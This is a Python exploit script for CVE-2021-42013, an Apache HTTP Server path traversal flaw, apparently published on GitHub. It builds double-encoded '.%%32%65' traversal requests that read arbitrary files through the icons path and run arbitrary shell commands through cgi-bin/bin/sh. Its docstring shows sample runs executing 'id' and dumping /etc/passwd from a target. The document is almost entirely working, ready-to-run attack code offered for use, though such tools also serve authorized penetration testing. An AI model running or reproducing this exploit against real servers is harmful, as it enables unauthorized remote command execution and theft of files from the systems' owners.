CVE202142013.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

###################
#    This script exploits CVE-2021-42013 to print file or/and execute command.
#    Copyright (C) 2022  Maurice Lambert

#    This program is free software: you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation, either version 3 of the License, or
#    (at your option) any later version.

#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.

#    You should have received a copy of the GNU General Public License
#    along with this program.  If not, see <https://www.gnu.org/licenses/>.
###################

"""
This script exploits CVE-2021-42013 to print file or/and execute command.

~# python3 CVE202142013.py 127.0.0.1:80

CVE-2021-42013  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.


PythonToolsKit  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.

[-] Target is not vulnerable.

~# python3 CVE202142013.py 172.17.0.2

CVE-2021-42013  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.


PythonToolsKit  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.

[+] Target is vulnerable.

~# python3 CVE202142013.py -c "id" "echo H4CK" -c "cat /etc/passwd" -u "/" 172.17.0.2

CVE-2021-42013  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.


PythonToolsKit  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.

[+] Target is vulnerable.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
H4CK
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

~# python3 CVE202142013.py -f "/etc/passwd" -o out.txt 172.17.0.2

CVE-2021-42013  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.


PythonToolsKit  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.

[+] Target is vulnerable.

~# cat out.txt
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
~# python3 CVE202142013.py -u "error" -f "/do/not/exists" 172.17.0.2

CVE-2021-42013  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.


PythonToolsKit  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.

[+] Target is vulnerable.
[-] Exploit is not working (HTTP error 403).

~# python3 CVE202142013.py -f "/do/not/exists" 172.17.0.2

CVE-2021-42013  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.


PythonToolsKit  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.

[+] Target is vulnerable.
[-] Exploit is not working (HTTP error 404).

~#
"""

__version__ = "1.0.0"
__author__ = "Maurice Lambert"
__author_email__ = "mauricelambert434@gmail.com"
__maintainer__ = "Maurice Lambert"
__maintainer_email__ = "mauricelambert434@gmail.com"
__description__ = """
This script exploits CVE-2021-42013 to print file or/and execute command.
"""
license = "GPL-3.0 License"
__url__ = "https://github.com/mauricelambert/CVE-2021-42013"

copyright = """
CVE-2021-42013  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
"""
__license__ = license
__copyright__ = copyright

__all__ = []

print(copyright)

from PythonToolsKit.urlopen import (
    build_opener,
    DefaultHandler,
    Request,
    HTTPResponse,
    HTTPMessage,
)
from PythonToolsKit.Arguments import ArgumentParser, Namespace
from PythonToolsKit.Random import get_random_strings
from ssl import _create_unverified_context
from PythonToolsKit.PrintF import printf
from collections import defaultdict
from urllib.parse import urljoin
from shutil import copyfileobj
from sys import exit


def unknown(
    self: DefaultHandler,
    request: Request,
    response: HTTPResponse,
    code: int,
    message: str,
    headers: HTTPMessage,
) -> None:

    """
    Unknown status.
    """

    global EXIT_CODE

    printf("Unknown status.", "ERROR")
    EXIT_CODE = 127


def vuln(
    self: DefaultHandler,
    request: Request,
    response: HTTPResponse,
    code: int,
    message: str,
    headers: HTTPMessage,
) -> None:

    """
    Vulnerable status.
    """

    global arguments

    printf("Target is vulnerable.")

    if not only_detect and code == 200:
        copyfileobj(response, arguments.output)
    elif code != 200:
        printf(f"Exploit is not working (HTTP error {code}).", "NOK")


def not_vuln(
    self: DefaultHandler,
    request: Request,
    response: HTTPResponse,
    code: int,
    message: str,
    headers: HTTPMessage,
) -> None:

    """
    No vulnerable status.
    """

    global EXIT_CODE

    printf("Target is not vulnerable.", "NOK")
    EXIT_CODE = 1


def parser() -> Namespace:

    """
    Parse arguments.
    """

    parser = ArgumentParser(
        description="This script detects and exploits CVE-2021-42013."
    )
    parser.add_argument("target", help="Target host (example: localhost:8080)")

    action = parser.add_mutually_exclusive_group()

    action.add_argument(
        "-c",
        "--commands",
        nargs="+",
        action="extend",
        help="Commands to execute.",
    )
    action.add_argument("-f", "--file", help="File to get content.")

    parser.add_output_file(
        "-o", "--output", file_args=["wb"], help="Redirect content in file."
    )
    parser.add_argument(
        "-s", "--ssl", action="store_true", help="Use HTTPS (ssl)."
    )
    parser.add_argument(
        "-u",
        "--targeturi",
        default="/",
        help="Base URI to request the Apache Server.",
    )
    return parser.parse_args()


def main() -> int:

    """
    Main function.
    """

    global EXIT_CODE, only_detect, arguments
    EXIT_CODE = 0
    only_detect = True

    arguments = parser()

    if arguments.commands is not None or arguments.file is not None:
        only_detect = False

    FUNCTIONS_CODES = defaultdict(unknown)
    FUNCTIONS_CODES[403] = FUNCTIONS_CODES[404] = FUNCTIONS_CODES[200] = vuln
    FUNCTIONS_CODES[400] = not_vuln

    urlopen = build_opener(FUNCTIONS_CODES).open

    if arguments.commands is not None:
        data = f"""echo Content-Type: text/plain;echo;{
            ';'.join(arguments.commands)
        }""".encode()
        path = (
            arguments.targeturi
            + ("/" if arguments.targeturi[-1] != "/" else "")
            + "cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
        )
        method = "POST"
    else:
        file = arguments.file or get_random_strings(
            (2, 7), (1, 4), separator="/", urlsafe=True
        )
        path = (
            arguments.targeturi
            + ("/" if arguments.targeturi[-1] != "/" else "")
            + f"icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/{file}"
        )
        data = b""
        method = "GET"

    urlopen(
        Request(
            urljoin(
                f"http{'s' if arguments.ssl else ''}://{arguments.target}",
                path,
            ),
            data=data,
            method=method,
        ),
        context=_create_unverified_context() if arguments.ssl else None,
    )

    return EXIT_CODE


if __name__ == "__main__":
    exit(main())